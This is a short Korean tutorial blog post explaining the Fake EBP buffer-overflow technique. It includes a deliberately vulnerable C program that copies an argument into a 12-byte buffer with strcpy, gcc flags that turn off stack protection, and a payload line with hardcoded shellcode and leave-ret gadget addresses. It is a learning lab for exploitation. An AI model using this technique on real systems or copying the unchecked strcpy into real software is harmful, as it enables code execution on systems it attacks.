Self-Improvement

Fake EBP 예시 및 설명 본문

리버싱 기초

Fake EBP 예시 및 설명

JoGeun 2020. 6. 15. 15:59

Fake EBP는 RET 이후로 덮어쓰기가 불가능 할때, 또는 RET 자리에 스택/라이브러리 주소가 필터링이 될 때 사용할수 있는 기법중에 하나이다. (NX 보호기법이 걸려있으면 불가능)

 

에필로그

leave
mov esp, ebp
pop ebp

ret
pop eip
jmp eip

 

Fake EBP 로직

쉽게 말하자면 RET에 Leave-ret 가젯 주소를 덮어씌어서 leave를 2번 수행을 하는 것이며 SFP에는 주입할 쉘코드 주소의 -4(buf-4) 주소를 넣으면 된다.

 

 

코드

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
 
int main(int argc, char *argv[])
{
        char buf[12];
 
        strcpy(buf, argv[1]);
        puts(buf);
 
        return 0;
}
cs

strcpy 함수는 bof에 취약한 함수로 ret까지 덮어쓰기가 가능하다.

 

적용된 보호기법

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o fake_ebp fake_ebp.c

 

Payload

사전에 eggshell을 통해 쉘코드 주소를 얻어놓는다.

[쉘코드주소] + [Dummpy 8byte] + [쉘코드주소가 덮혀씌어질 주소의-4] + [leave-ret가젯주소]
r `python -c 'print "\xe8\xf5\xff\xbf"+"A"*8+"\xe8\xec\xff\xbf"+"\x67\x84\x04\x08"'`